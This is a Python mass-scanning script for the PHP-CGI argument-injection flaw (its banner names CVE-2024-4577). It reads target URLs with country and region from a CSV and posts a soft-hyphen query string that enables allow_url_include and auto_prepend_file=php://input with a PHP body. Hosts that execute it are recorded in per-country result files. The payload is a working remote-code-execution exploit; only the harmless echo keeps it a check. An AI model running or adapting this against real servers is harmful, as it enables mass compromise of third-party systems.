php-cgi.py

import glob
import re, urllib3
import requests, csv
import argparse, os
import chardet
import concurrent.futures
import hashlib
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

md5_obj = hashlib.md5()
md5_obj.update("hello world".encode("utf-8"))
md5_hash = md5_obj.hexdigest()


def save_res(url, counrty, region, res):
    if not os.path.exists("result"):
        os.mkdir("result")
    if not os.path.exists("result/%s" % counrty):
        os.mkdir("result/%s" % counrty)
    with open(
        "result/"
        + counrty
        + "/["
        + str(region).replace(" ", "_")
        + "]-"
        + str(url).replace(":", "-").replace("/", "")
        + ".md",
        "w",
    ) as sf:
        sf.write(res)


def send_packet(url, country, region, id):
    resq = ""
    try:
        resq = requests.post(
            timeout=5,
            url=url
            + "/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input",
            data='<?php echo"' + md5_hash + '";?>',
            verify=False,
        )

    except:
        pass

    if resq != "":
        if re.findall(str(md5_hash), resq.text):
            try:
                print(
                    Fore.GREEN
                    + "[+][%0000006d] " % id
                    + url
                    + " is vulnerable !"
                    + Style.RESET_ALL
                )
                save_res(
                    url,
                    country,
                    region,
                    "Response: "
                    + str("\n")
                    + "Url: "
                    + str(resq.request.url)
                    + str("\n")
                    + "Method: "
                    + str(resq.request.method)
                    + str("\n")
                    + "Header: "
                    + str(resq.request.headers)
                    + str("\n")
                    + "Body: "
                    + str(resq.request.body)
                    + str("\n")
                    + "Status: "
                    + str(resq.status_code)
                    + str("\r\n")
                    + "Response: "
                    + str("\n")
                    + "Header: "
                    + str(resq.headers)
                    + str("\n")
                    + "Header: "
                    + str(resq.request.headers)
                    + str("\n")
                    + "Body: "
                    + str(resq.content),
                )
            except Exception as e:
                print(
                    Fore.RED
                    + "[*][%0000006d] Error! %s" % (id, str(e))
                    + Style.RESET_ALL,
                    end="\r",
                )
        else:
            print(
                Fore.BLUE
                + "[-][%0000006d] " % id
                + url
                + " not vulnerable"
                + Style.RESET_ALL,
                end="\r",
            )
    else:
        print(
            Fore.BLUE
            + "[-][%0000006d] " % id
            + url
            + " not vulnerable"
            + Style.RESET_ALL,
            end="\r",
        )


# 汇总保存到index
def index_file_save(dirs_name, dir_list):

    path = os.path.join(dirs_name, "*")
    dirs = glob.glob(path)

    for dir in dirs:
        files = os.path.join(dir, "*")
        files_path = glob.glob(files)
        for fp in files_path:
            c = fp.split("\\")[1]
            f = fp.split("\\").pop()
            ip = f.split("-").pop().split(".md")[0]
            r = f.split("]")[0].split("[").pop()

            dir_list.append([c, r, ip, f])


if __name__ == "__main__":
    banner = r"""
  _____   _____   ___ __ ___ _ _      _ _  ___ ____ ____ 
 / __\ \ / / __|_|_  )  \_  ) | | ___| | || __|__  |__  |
| (__ \ V /| _|___/ / () / /|_  _|___|_  _|__ \ / /  / / 
 \___| \_/ |___| /___\__/___| |_|      |_||___//_/  /_/  
"""
    print(Fore.RED + banner + Style.RESET_ALL)
    parser = argparse.ArgumentParser(description="php-cgi poc检测脚本")

    parser.add_argument(
        "ifile",
        type=str,
        help=Fore.YELLOW + "指定一个csv目标文件" + Style.RESET_ALL,
    )

    parser.add_argument(
        "--thread",
        type=int,
        required=False,
        default=25,
        help=Fore.YELLOW + "指定扫描线程数(default 25)" + Style.RESET_ALL,
    )

    args = parser.parse_args()

    url = []
    country = []
    region = []
    properties = [url, country, region]

    with open(args.ifile, "rb") as f:
        result = chardet.detect(f.read())
        encoding = result["encoding"]

    # read csv file
    if re.findall(".csv", args.ifile) == [".csv"]:
        with open(args.ifile, "r", encoding=encoding) as csvfile:
            csvreader = csv.reader(csvfile)
            for row in csvreader:
                if csvreader.line_num == 1:
                    continue

                if row[0].find("https://") == 0:
                    url.append(row[0])
                elif row[0].find("http://") == 0:
                    url.append(row[0])
                else:
                    url.append("http://" + row[0])

                country.append(row[6])
                region.append(row[7])

    # 使用线程池
    with concurrent.futures.ProcessPoolExecutor(max_workers=args.thread) as executor:
        tasks = [
            executor.submit(
                send_packet, properties[0][i], properties[1][i], properties[2][i], i
            )
            for i in range(len(properties[0]))
        ]
        concurrent.futures.wait(tasks, timeout=15)

        if not os.path.exists("./result/"):
            os.mkdir("./result/")
        with open("./result/index.md", "w") as rfile:
            rfile.write("# Index \r\n")
            rfile.write("| Country | Region | IP/Domain | Respone File |\n")
            rfile.write("| ------- | ------ | --------- | ------------ |\n")
            dir_list = []
            index_file_save("./result", dir_list)
            for pro in dir_list:
                rfile.write(
                    "|"
                    + pro[0]
                    + "|"
                    + pro[1]
                    + "|"
                    + pro[2]
                    + "|["
                    + pro[3]
                    + "](./"
                    + pro[0]
                    + "/"
                    + pro[3]
                    + ")|\n"
                )
            print(
                Fore.RED
                + "\r\n[*] vuln target count : "
                + str(len(dir_list))
                + Style.RESET_ALL
            )